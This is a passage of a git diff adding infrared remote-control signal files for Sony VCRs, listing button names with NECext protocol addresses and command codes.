+name: <<_SEARCH +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 28 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 28 00 00 00 +# +name: INDEX_RR +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 28 00 00 00 +# +name: SEARCH_- +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 28 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 29 00 00 00 +# +name: >>_SEARCH +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 29 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 29 00 00 00 +# +name: INDEX_FF +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 29 00 00 00 +# +name: SEARCH_+ +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 29 00 00 00 +# +name: TV/VTR +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 2A 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 2A 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 2A 00 00 00 +# +name: VTR +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 2D 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 2E 00 00 00 +# +name: POWER_ON_VTR_3 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 2E 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 2E 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 2F 00 00 00 +# +name: POWER_OFF_VTR_3 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 2F 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 2F 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 30 00 00 00 +# +name: <<_FRAME +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 30 00 00 00 +# +name: REVERSE_1 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 30 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 30 00 00 00 +# +name: REVERSE_1/5 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 30 00 00 00 +# +name: REVERSE_X2 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 30 00 00 00 +# +name: FRAME_- +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 30 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 31 00 00 00 +# +name: >>_FRAME +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 31 00 00 00 +# +name: FRAME_+ +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 31 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 31 00 00 00 +# +name: FORWARD_1 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 31 00 00 00 +# +name: FORWARD_1/5 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 31 00 00 00 +# +name: FORWARD_X2 +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 31 00 00 00 +# +name: FRAME_> +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 31 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 33 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 3D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 3D 00 00 00 +# +name: TRACKING_SPEED_+ +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 3D 00 00 00 +# +name: SLOW_+ +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 3D 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 3E 00 00 00 +# +name: TRACKING_SPEED_- +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 3E 00 00 00 +# +name: SLOW_- +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 3E 00 00 00 +# +name: COUNTER/REMAIN +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 41 00 00 00 +# +name: COUNTER +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 41 00 00 00 +# +name: COUNTER_REMAIN +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 41 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 42 00 00 00 +# +name: CUR_UP +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 42 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 42 00 00 00 +# +name: NAV_UP +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 42 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 43 00 00 00 +# +name: CUR_DOWN +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 43 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 43 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 43 00 00 00 +# +name: CURSOR_DN +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 43 00 00 00 +# +name: NAV_DOWN +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 43 00 00 00 +# +name: TRACKING_+ +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 44 00 00 00 +# +name: STILL_ADJUST_UP +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 44 00 00 00 +# +name: TRACKING_UP +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 44 00 00 00 +# +name: TRACKING_SLOW +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 44 00 00 00 +# +name: TRACKING_- +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 45 00 00 00 +# +name: STILL_ADJUST_DOWN +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 45 00 00 00 +# +name: TRACKING_DOWN +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 45 00 00 00 +# +name: TRACKING_NORMAL +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 45 00 00 00 +# +name: COUNTER_RESET +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 46 00 00 00 +# +name: INDEX_MARK +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 48 00 00 00 +# +name: INDEX_ERASE +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 49 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 4D 00 00 00 +# +name: INPUT_SELECT +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 4F 00 00 00 +# +name: INPUT_TOGGLE +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 4F 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 4F 00 00 00 +# +name: EXECUTE +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 51 00 00 00 +# +name: NAV_OK +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 51 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 51 00 00 00 +# +name: QUICK_TIMER +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 52 00 00 00 +# +name: INDEX_SEARCH_>> +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 56 00 00 00 +# +name: INDEX_SEARCH_> +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 56 00 00 00 +# +name: INDEX_>> +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 56 00 00 00 +# +name: INDEX_SEARCH_FORWARD +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 56 00 00 00 +# +name: INDEX_SEARCH_+ +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 56 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 56 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 56 00 00 00 +# +name: INDEX_SEARCH> +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 56 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 56 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 56 00 00 00 +# +name: INDEX_SEARCH_<< +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 57 00 00 00 +# +name: INDEX_SEARCH_< +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 57 00 00 00 +# +name: INDEX_<< +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 57 00 00 00 +# +name: INDEX_SEARCH_BACK +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 57 00 00 00 +# +name: INDEX_SEARCH_- +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 57 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 57 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 57 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 57 00 00 00 +# +name: TAPE_SPEED +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 58 00 00 00 +# +name: SP/EP +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 58 00 00 00 +# +name: SPEED +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 58 00 00 00 +# +name: TAPE_RETURN +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 59 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 5A 00 00 00 +# +name: SKIP +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 5D 00 00 00 +# +name: SMART_CUE +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 5D 00 00 00 +# +name: SMART_QUE +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 5D 00 00 00 +# +name: COMMERCIAL_PASS +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 5D 00 00 00 +# +name: COMM_PASS +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 5D 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 61 00 00 00 +# +name: CUR_RIGHT +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 61 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 61 00 00 00 +# +name: CURSOR_RT +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 61 00 00 00 +# +name: NAV_RIGHT +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 61 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 62 00 00 00 +# +name: CUR_LEFT +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 62 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 62 00 00 00 +# +name: CURSOR_LF +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 62 00 00 00 +# +name: NAV_LEFT +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 62 00 00 00 +# +name: TIMER_REC_CLEAR +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 63 00 00 00 +# +name: TIMER_CLEAR +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 63 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 63 00 00 00 +# +name: CEAR +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 63 00 00 00 +# +name: CLEAR_(TIMER) +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 63 00 00 00 +# +name: TIMER_REC_ON/OFF +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 65 00 00 00 +# +name: ON/OFF_(TIMER) +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 65 00 00 00 +# +name: TIMER_ON/OFF +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 65 00 00 00 +# +name: INSERT_AUDIO +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 68 00 00 00 +# +name: INSERT_VIDEO +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 69 00 00 00 +# +name: HIGH_SPEED_REWIND +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 7D 00 00 00 +# +name: HI-SPEED_REWIND +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 7D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/180,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/180,-1.ir new file mode 100644 index 000000000..98174db6d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/180,-1.ir @@ -0,0 +1,110 @@ +Filetype: IR signals file +Version: 1 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: B4 00 00 00 +command: 2A 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: B4 00 00 00 +command: 2A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B4 00 00 00 +command: 2A 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: B4 00 00 00 +command: 2B 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: B4 00 00 00 +command: 2B 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: B4 00 00 00 +command: 35 00 00 00 +# +name: INPUT_1_VTR_1 +type: parsed +protocol: NECext +address: B4 00 00 00 +command: 35 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: B4 00 00 00 +command: 36 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: B4 00 00 00 +command: 37 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: B4 00 00 00 +command: 38 00 00 00 +# +name: VIDEO_5 +type: parsed +protocol: NECext +address: B4 00 00 00 +command: 3C 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: B4 00 00 00 +command: 43 00 00 00 +# +name: VCR_PLUS +type: parsed +protocol: NECext +address: B4 00 00 00 +command: 60 00 00 00 +# +name: VCR_PLUS+ +type: parsed +protocol: NECext +address: B4 00 00 00 +command: 60 00 00 00 +# +name: VCR_PLUS:_ONCE +type: parsed +protocol: NECext +address: B4 00 00 00 +command: 61 00 00 00 +# +name: SET +type: parsed +protocol: NECext +address: B4 00 00 00 +command: 61 00 00 00 +# +name: VCR_PLUS:_DAILY +type: parsed +protocol: NECext +address: B4 00 00 00 +command: 62 00 00 00 +# +name: VCR_PLUS:_WEEKLY +type: parsed +protocol: NECext +address: B4 00 00 00 +command: 63 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/185,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/185,-1.ir new file mode 100644 index 000000000..6c9186ba7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/185,-1.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: B9 00 00 00 +command: 35 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: B9 00 00 00 +command: 36 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: B9 00 00 00 +command: 37 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: B9 00 00 00 +command: 38 00 00 00 +# +name: VIDEO_5 +type: parsed +protocol: NECext +address: B9 00 00 00 +command: 3C 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: B9 00 00 00 +command: 43 00 00 00 +# +name: VCR_PLUS +type: parsed +protocol: NECext +address: B9 00 00 00 +command: 60 00 00 00 +# +name: VCR_PLUS+ +type: parsed +protocol: NECext +address: B9 00 00 00 +command: 60 00 00 00 +# +name: VCR_PLUS:_ONCE +type: parsed +protocol: NECext +address: B9 00 00 00 +command: 61 00 00 00 +# +name: SET +type: parsed +protocol: NECext +address: B9 00 00 00 +command: 61 00 00 00 +# +name: VCR_PLUS:_DAILY +type: parsed +protocol: NECext +address: B9 00 00 00 +command: 62 00 00 00 +# +name: VCR_PLUS:_WEEKLY +type: parsed +protocol: NECext +address: B9 00 00 00 +command: 63 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/186,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/186,-1.ir new file mode 100644 index 000000000..9c844b5f1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/186,-1.ir @@ -0,0 +1,326 @@ +Filetype: IR signals file +Version: 1 +# +name: DAY_UP +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 06 00 00 00 +# +name: DAY_DOWN +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 07 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 08 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 09 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 0A 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 0B 00 00 00 +# +name: THEME +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 0C 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 0D 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 0E 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 0E 00 00 00 +# +name: MENU_UP +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 0E 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 0E 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 0F 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 0F 00 00 00 +# +name: MENU_DOWN +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 0F 00 00 00 +# +name: DN +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 0F 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 10 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 10 00 00 00 +# +name: MENU_LEFT +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 10 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 10 00 00 00 +# +name: RR +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 10 00 00 00 +# +name: LT +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 10 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 11 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 11 00 00 00 +# +name: MENU_RIGHT +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 11 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 11 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 11 00 00 00 +# +name: RT +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 11 00 00 00 +# +name: CURSOR_"OK" +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 18 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 18 00 00 00 +# +name: EXECUTE +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 18 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 18 00 00 00 +# +name: CURSOR_SELECT +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 18 00 00 00 +# +name: SMART_FILE +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 1C 00 00 00 +# +name: TAPE_GUIDE +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 1C 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 35 00 00 00 +# +name: INPUT_1_VTR_3 +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 35 00 00 00 +# +name: INPUT_1 +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 35 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 36 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 37 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 38 00 00 00 +# +name: VIDEO_5 +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 3C 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 43 00 00 00 +# +name: VCR_PLUS +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 60 00 00 00 +# +name: VCR_PLUS+ +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 60 00 00 00 +# +name: VCR_PLUS_+ +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 60 00 00 00 +# +name: VCR+ +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 60 00 00 00 +# +name: VCR_PLUS:_ONCE +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 61 00 00 00 +# +name: SET +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 61 00 00 00 +# +name: ONCE +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 61 00 00 00 +# +name: VCR_PLUS:_DAILY +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 62 00 00 00 +# +name: DAILY +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 62 00 00 00 +# +name: VCR_PLUS:_WEEKLY +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 63 00 00 00 +# +name: WEEKLY +type: parsed +protocol: NECext +address: BA 00 00 00 +command: 63 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/2,-1.ir new file mode 100644 index 000000000..93c7d1940 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/2,-1.ir @@ -0,0 +1,608 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 09 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 09 00 00 00 +# +name: 11 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0A 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0B 00 00 00 +# +name: 12 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0B 00 00 00 +# +name: 13 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0C 00 00 00 +# +name: 14 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0D 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 10 00 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 10 00 00 00 +# +name: CHANNEL_UP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 10 00 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 10 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 11 00 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 11 00 00 00 +# +name: CHANNEL_DOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 11 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 15 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 16 00 00 00 +# +name: AUDIO_MONITOR +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 17 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 18 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 19 00 00 00 +# +name: PAUSE_II +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 19 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1A 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1B 00 00 00 +# +name: REV_<< +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1B 00 00 00 +# +name: <<_REWIND +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1B 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1C 00 00 00 +# +name: FF_>> +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1C 00 00 00 +# +name: >>_FAST_FORWARD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1C 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1D 00 00 00 +# +name: RECORD_PAUSE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1E 00 00 00 +# +name: TRACKING_AUTO/MANUAL +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 27 00 00 00 +# +name: AUTO/MANUAL_TRACKING +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 27 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 28 00 00 00 +# +name: <<_SEARCH +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 28 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 29 00 00 00 +# +name: >>_SEARCH +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 29 00 00 00 +# +name: TV/VTR +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2A 00 00 00 +# +name: VTR +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2A 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2A 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2A 00 00 00 +# +name: VTR +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2D 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2E 00 00 00 +# +name: POWER_ON_VTR_1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2E 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2E 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2F 00 00 00 +# +name: POWER_OFF_VTR_1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2F 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2F 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 30 00 00 00 +# +name: <<_FRAME +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 30 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 31 00 00 00 +# +name: >>_FRAME +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 31 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 3D 00 00 00 +# +name: SLOW_>> +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 3D 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 3E 00 00 00 +# +name: SLOW_<< +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 3E 00 00 00 +# +name: COUNTER_REMAIN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 41 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 42 00 00 00 +# +name: CURSER_UP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 42 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 43 00 00 00 +# +name: CURSER_DOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 43 00 00 00 +# +name: TRACKING_+ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 44 00 00 00 +# +name: TRACKING_- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 45 00 00 00 +# +name: COUNTER_RESET +type: parsed +protocol: NECext +address: 